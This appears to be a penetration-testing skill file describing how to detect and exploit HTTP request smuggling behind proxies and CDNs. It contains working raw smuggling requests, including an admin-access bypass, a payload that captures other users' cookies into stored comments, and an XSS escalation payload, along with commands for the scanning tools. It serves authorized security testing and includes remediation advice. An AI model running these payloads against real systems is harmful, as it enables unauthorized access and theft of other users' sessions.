Skill v1.0.2
currentAutomated scan100/100+4 new
name: exploiting-http-request-smuggling description: >- Detects and exploits HTTP request smuggling caused by Content-Length/Transfer-Encoding parsing discrepancies between front-end and back-end servers, using Burp Suite Repeater (auto Content-Length disabled), the HTTP Request Smuggler extension, and smuggler.py. Use during authorized tests of multi-tier architectures behind a reverse proxy, load balancer, or CDN to find desync flaws and bypass front-end controls. domain: cybersecurity subdomain: web-application-security tags:
- penetration-testing
- request-smuggling
- http-desync
- web-security
- burpsuite
- owasp
version: '1.0' author: mahipal license: Apache-2.0 nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
Exploiting HTTP Request Smuggling
When to Use
- During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN
- When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)
- For assessing applications for HTTP desynchronization vulnerabilities
- When other attack vectors are limited and you need to bypass front-end security controls
- During security assessments of multi-tier web architectures
Prerequisites
- Authorization: Written penetration testing agreement explicitly covering request smuggling (high-risk test)
- Burp Suite Professional: With HTTP Request Smuggler extension (Turbo Intruder)
- smuggler.py: Automated HTTP request smuggling detection tool
- curl: Compiled with HTTP/1.1 support and manual chunked encoding
- Target architecture knowledge: Understanding of proxy/server chain (front-end and back-end)
- Caution: Request smuggling can affect other users' requests; test carefully
Workflow
Step 1: Identify the HTTP Architecture
Determine the proxy/server chain and HTTP parsing characteristics.
# Identify front-end proxy/CDNcurl -s -I "https://target.example.com/" | grep -iE \"(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"# Common architectures:# Cloudflare → Nginx → Application# AWS ALB → Apache → Application# HAProxy → Gunicorn → Python app# Nginx → Node.js/Express# Akamai → IIS → .NET app# Check HTTP version supportcurl -s -I --http1.1 "https://target.example.com/" | head -1curl -s -I --http2 "https://target.example.com/" | head -1# Check if Transfer-Encoding is supportedcurl -s -X POST \-H "Transfer-Encoding: chunked" \-H "Content-Type: application/x-www-form-urlencoded" \-d "0\r\n\r\n" \"https://target.example.com/" -w "%{http_code}"# Check for HTTP/2 downgrade to HTTP/1.1 on backend# Many CDNs accept HTTP/2 but forward HTTP/1.1 to origin
Step 2: Test for CL.TE Smuggling
The front-end uses Content-Length, the back-end uses Transfer-Encoding.
# In Burp Suite Repeater, disable "Update Content-Length" option# Send the following request manually:POST / HTTP/1.1Host: target.example.comContent-Length: 13Transfer-Encoding: chunked0SMUGGLED# If vulnerable (CL.TE):# Front-end reads 13 bytes (Content-Length), forwards entire request# Back-end reads chunked: "0\r\n\r\n" = end of body# "SMUGGLED" becomes the start of the next request# Detection technique: Time-based# If back-end reads chunked and sees incomplete chunk, it waits:POST / HTTP/1.1Host: target.example.comContent-Length: 4Transfer-Encoding: chunked1AX# If response is delayed (~5-10 seconds), CL.TE is likely
Step 3: Test for TE.CL Smuggling
The front-end uses Transfer-Encoding, the back-end uses Content-Length.
# Burp Repeater - disable "Update Content-Length"POST / HTTP/1.1Host: target.example.comContent-Length: 3Transfer-Encoding: chunked8SMUGGLED0# If vulnerable (TE.CL):# Front-end reads chunked: chunk "SMUGGLED" + final "0"# Back-end reads 3 bytes of Content-Length: "8\r\n"# Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix# Detection via differential response:POST / HTTP/1.1Host: target.example.comContent-Length: 6Transfer-Encoding: chunked0X# Front-end (TE): reads "0\r\n\r\n", sees end# Back-end (CL): reads 6 bytes "0\r\nX\r\n"# Next request gets "X" prepended, causing 400/405 errors
Step 4: Use Automated Detection Tools
Run automated scanners to detect smuggling variants.
# Using smuggler.pygit clone https://github.com/defparam/smuggler.gitcd smugglerpython3 smuggler.py -u "https://target.example.com/" -m GET POST# Using Burp HTTP Request Smuggler extension# 1. Install from BApp Store: "HTTP Request Smuggler"# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe# 3. Check Scanner > Issue Activity for results# Using h2csmuggler for HTTP/2 smuggling# git clone https://github.com/BishopFox/h2cSmuggler.gitpython3 h2csmuggler.py -x "https://target.example.com/" \"https://target.example.com/admin"# Manual detection with Turbo Intruder# Send paired requests with different timing# First request: smuggling prefix# Second request: normal request that gets affected
Step 5: Exploit Request Smuggling for Impact
Leverage confirmed smuggling for practical attacks.
# Attack 1: Bypass front-end access controls# Access /admin which is blocked by the front-end proxy# CL.TE exploit:POST / HTTP/1.1Host: target.example.comContent-Length: 56Transfer-Encoding: chunked0GET /admin HTTP/1.1Host: target.example.comFoo: x# The smuggled "GET /admin" request bypasses front-end restrictions# because it's processed by the back-end directly# Attack 2: Capture other users' requests# Smuggle a request that stores the next user's request in a visible locationPOST / HTTP/1.1Host: target.example.comContent-Length: 130Transfer-Encoding: chunked0POST /api/comments HTTP/1.1Host: target.example.comContent-Type: application/x-www-form-urlencodedContent-Length: 400body=# The next legitimate user's request gets appended to "body="# and stored as a comment, exposing their cookies and headers# Attack 3: Reflected XSS escalation# Smuggle a request that will reflect XSS in the next responsePOST / HTTP/1.1Host: target.example.comContent-Length: 150Transfer-Encoding: chunked0GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1Host: target.example.comContent-Length: 10Foo: x# Next user receives the XSS response instead of their expected response
Step 6: Test HTTP/2 Request Smuggling
Assess HTTP/2 specific smuggling vectors.
# HTTP/2 smuggling via CRLF injection in headers# HTTP/2 should reject \r\n in header values, but some proxies don't# H2.CL smuggling: HTTP/2 front-end, Content-Length on back-end# Send HTTP/2 request with mismatched :path and content# Using Burp Suite with HTTP/2 support:# 1. Enable HTTP/2 in Repeater: Inspector > HTTP/2# 2. Craft request with conflicting CL header# HTTP/2 header injection# Add: Transfer-Encoding: chunked via HTTP/2 pseudo-header# Some front-ends strip TE from HTTP/1.1 but not from HTTP/2# Test HTTP/2 request tunneling# If front-end reuses HTTP/2 connections for multiple users:# Poison the connection to affect subsequent requests# H2.TE smuggling via HTTP/2 CONNECT# Use CONNECT method in HTTP/2 to establish tunnels# that bypass front-end security controls
Key Concepts
| Concept | Description | |
|---|---|---|
| CL.TE Smuggling | Front-end uses Content-Length, back-end uses Transfer-Encoding | |
| TE.CL Smuggling | Front-end uses Transfer-Encoding, back-end uses Content-Length | |
| TE.TE Smuggling | Both use Transfer-Encoding but parse obfuscated TE headers differently | |
| HTTP Desync | State where front-end and back-end disagree on request boundaries | |
| Request Splitting | One HTTP request is interpreted as two separate requests | |
| Connection Poisoning | Smuggled data affects the next request on the same TCP connection | |
| H2.CL Smuggling | HTTP/2 to HTTP/1.1 downgrade with Content-Length discrepancy |
Tools & Systems
| Tool | Purpose | |
|---|---|---|
| Burp Suite Professional | Manual request crafting with disabled auto Content-Length | |
| HTTP Request Smuggler (Burp) | Automated smuggling detection extension by James Kettle | |
| smuggler.py | Python-based automated HTTP request smuggling scanner | |
| h2cSmuggler | HTTP/2 cleartext smuggling tool from Bishop Fox | |
| Turbo Intruder | High-speed request engine for time-sensitive smuggling tests | |
| curl | Manual HTTP request crafting with precise byte control |
Common Scenarios
Scenario 1: Admin Panel Access Bypass
The front-end proxy blocks /admin requests. A CL.TE smuggling attack prepends GET /admin to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.
Scenario 2: Cookie Theft via Request Capture
A TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.
Scenario 3: Cache Poisoning via Smuggling
A smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.
Scenario 4: HTTP/2 Desync on CDN
The CDN accepts HTTP/2 and downgrades to HTTP/1.1 for the origin. A header injection via HTTP/2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.
Output Format
## HTTP Request Smuggling Finding**Vulnerability**: CL.TE HTTP Request Smuggling**Severity**: Critical (CVSS 9.1)**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)**OWASP Category**: A05:2021 - Security Misconfiguration### ArchitectureFront-end: Cloudflare (Content-Length priority)Back-end: Gunicorn (Transfer-Encoding priority)Protocol: HTTP/1.1 between proxy and origin### Reproduction Steps1. Send POST request with both Content-Length and Transfer-Encoding headers2. Content-Length set to include smuggled request prefix3. Transfer-Encoding: chunked with "0\r\n\r\n" ending body4. Smuggled data becomes prefix of next back-end request### Confirmed Exploits| Exploit | Impact ||---------|--------|| Admin bypass | Accessed /admin without authentication || Request capture | Stole session cookies from other users || XSS escalation | Delivered reflected XSS to arbitrary users || Cache poisoning | Poisoned CDN cache with malicious response |### Recommendation1. Ensure front-end and back-end use the same HTTP parsing behavior2. Reject ambiguous requests with both Content-Length and Transfer-Encoding3. Upgrade to HTTP/2 end-to-end (no protocol downgrade)4. Use HTTP/2 between proxy and origin server5. Normalize requests at the front-end before forwarding